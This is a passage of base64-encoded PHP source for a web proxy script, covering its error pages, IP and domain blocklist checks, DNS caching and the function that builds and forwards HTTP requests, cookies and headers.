uY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1Nb2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHByb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcnI9ZXhwbG9kZSgnOicsJGN1cmxpbmUsMik7DQoJCQkkaGVhZGVyc1tzdHJ0b2xvd2VyKCRoYXJyWzBdKV1bXT10cmltKCRoYXJyWzFdKTsNCgkJfQ0KCX0NCg0KCSNpZigkaGVhZGVyc1sncHJhZ21hJ11bMF09PW51bGwpIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXVswXT09bnVsbCkgaGVhZGVyKCdDYWNoZS1Db250cm9sOiBwdWJsaWMnKTsNCgkjaWYoJGhlYWRlcnNbJ2xhc3QtbW9kaWZpZWQnXVswXT09bnVsbCAmJiAkaGVhZGVyc1snZXhwaXJlcyddPT1udWxsKSBoZWFkZXIoJ0V4cGlyZXM6ICcuZGF0ZSgnRCwgZCBNIFkgSDppOnMgZScsdGltZSgpKzg2NDAwKSk7DQoNCgkjIHJlYWQgYW5kIHN0b3JlIGNvb2tpZXMNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfY29va2llcyddKSl7DQoJCWZvcigkaT0wOyRpPGNvdW50KCRoZWFkZXJzWydzZXQtY29va2llJ10pOyRpKyspew0KCQkJJHRoaXNjb29rPWV4cGxvZGUoJz0nLCRoZWFkZXJzWydzZXQtY29va2llJ11bJGldLDIpOw0KCQkJaWYoIXN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSkgJHRoaXNjb29rWzFdLj0nOyc7DQoJCQkkY29va192YWw9c3Vic3RyKCR0aGlzY29va1sxXSwwLHN0cnBvcygkdGhpc2Nvb2tbMV0sJzsnKSk7DQoJCQkkY29va19kb21haW49cHJlZ19yZXBsYWNlKCcvXi4qZG9tYWluPVsJIF0qXC4/KFteO10rKS4qPyQvaScsJ1wxJywkdGhpc2Nvb2tbMV0pOyAjKg0KCQkJaWYoJGNvb2tfZG9tYWluPT0kdGhpc2Nvb2tbMV0pICRjb29rX2RvbWFpbj0kY29va19wcmVmZG9tYWluOw0KCQkJZWxzZWlmKHN1YnN0cigkY29va19wcmVmZG9tYWluLHN0cmxlbigkY29va19wcmVmZG9tYWluKS1zdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGNvb2tfZG9tYWluKSkhPSRjb29rX2RvbWFpbikgY29udGludWU7DQoJCQkkY29va19uYW1lPXN0cl9yZXBsYWNlKCcuJywnXycsJGNvb2tfZG9tYWluKS5DT09LSUVfU0VQQVJBVE9SLiR0aGlzY29va1swXTsNCgkJCWlmKEVOQ1JZUFRfQ09PS1Mpew0KCQkJCSRjb29rX25hbWU9cHJveGVuYygkY29va19uYW1lKTsNCgkJCQkkY29va192YWw9cHJveGVuYygkY29va192YWwpOw0KCQkJfQ0KCQkJZG9zZXRjb29raWUoJGNvb2tfbmFtZSwkY29va192YWwpOw0KCQl9DQoJfQ0KDQoJaWYoJHJlc3BvbnNlezB9PT0nMycgJiYgJHJlc3BvbnNlezF9PT0nMCcgJiYgJHJlc3BvbnNlezJ9IT0nNCcpew0KCQkkdXJsb2JqPW5ldyBhdXJsKCR1cmwpOw0KCQkkcmVkaXJ1cmw9ZnJhbWlmeV91cmwoc3Vycm9nYWZ5X3VybCgkaGVhZGVyc1snbG9jYXRpb24nXVswXSwkdXJsb2JqKSxORVdfUEFHRVRZUEVfRlJBTUVEX1BBR0UpOw0KDQoJCWZjbG9zZSgkZnApOw0KCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCg0KCQlmaW5pc2hfbm9leGl0KCk7DQoJCWhlYWRlcigiTG9jYXRpb246IHskcmVkaXJ1cmx9Iik7DQoJCWV4aXQoKTsNCgl9DQoNCgkkb2hlYWRlcnM9JGhlYWRlcnM7DQoJJG9oZWFkZXJzWydsb2NhdGlvbiddPSRvaGVhZGVyc1snY29udGVudC1sZW5ndGgnXT0kb2hlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXT0NCgkkb2hlYWRlcnNbJ3NldC1jb29raWUnXT0kb2hlYWRlcnNbJ3RyYW5zZmVyLWVuY29kaW5nJ109JG9oZWFkZXJzWydjb25uZWN0aW9uJ109DQoJJG9oZWFkZXJzWydrZWVwLWFsaXZlJ109JG9oZWFkZXJzWydwcmFnbWEnXT0kb2hlYWRlcnNbJ2NhY2hlLWNvbnRyb2wnXT0kb2hlYWRlcnNbJ2V4cGlyZXMnXT1udWxsOw0KDQoJd2hpbGUobGlzdCgka2V5LCR2YWwpPWVhY2goJG9oZWFkZXJzKSkgaWYoIWVtcHR5KCR2YWxbMF0pKSBoZWFkZXIoInska2V5fTogeyR2YWxbMF19Iik7DQoJdW5zZXQoJG9oZWFkZXJzKTsNCgloZWFkZXIoIlN0YXR1czogeyRyZXNwb25zZX0iKTsNCg0KCWlmKHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCw0KT09J3RleHQnIHx8IHN1YnN0cigkaGVhZGVyc1snY29udGVudC10eXBlJ11bMF0sMCwyNCk9PSdhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQnKXsNCgkJJGp1c3RvdXRwdXQ9ZmFsc2U7DQoJCSRqdXN0b3V0cHV0bm93PWZhbHNlOw0KCX0NCgllbHNlew0KCQkkanVzdG91dHB1dG5vdz0oJGhlYWRlcnNbJ2NvbnRlbnQtZW5jb2RpbmcnXVswXT09J2d6aXAnP2ZhbHNlOnRydWUpOw0KCQkkanVzdG91dHB1dD10cnVlOw0KCX0NCg0KCWlmKCRoZWFkZXJzWyd0cmFuc2Zlci1lbmNvZGluZyddWzBdPT0nY2h1bmtlZCcpew0KCQkkYm9keT1udWxsOw0KCQkkY2h1bmtzaXplPW51bGw7DQoJCXdoaWxlKCRjaHVua3NpemUhPT0wKXsNCgkJCSRjaHVua3NpemU9aW50dmFsKGZnZXRzKCRmcCw4MTkyKSwxNik7DQoJCQkkYnVmc2l6ZT0kY2h1bmtzaXplOw0KCQkJd2hpbGUoJGJ1ZnNpemU+PTEpew0KCQkJCSRjaHVuaz1mcmVhZCgkZnAsJGJ1ZnNpemUpOw0KCQkJCW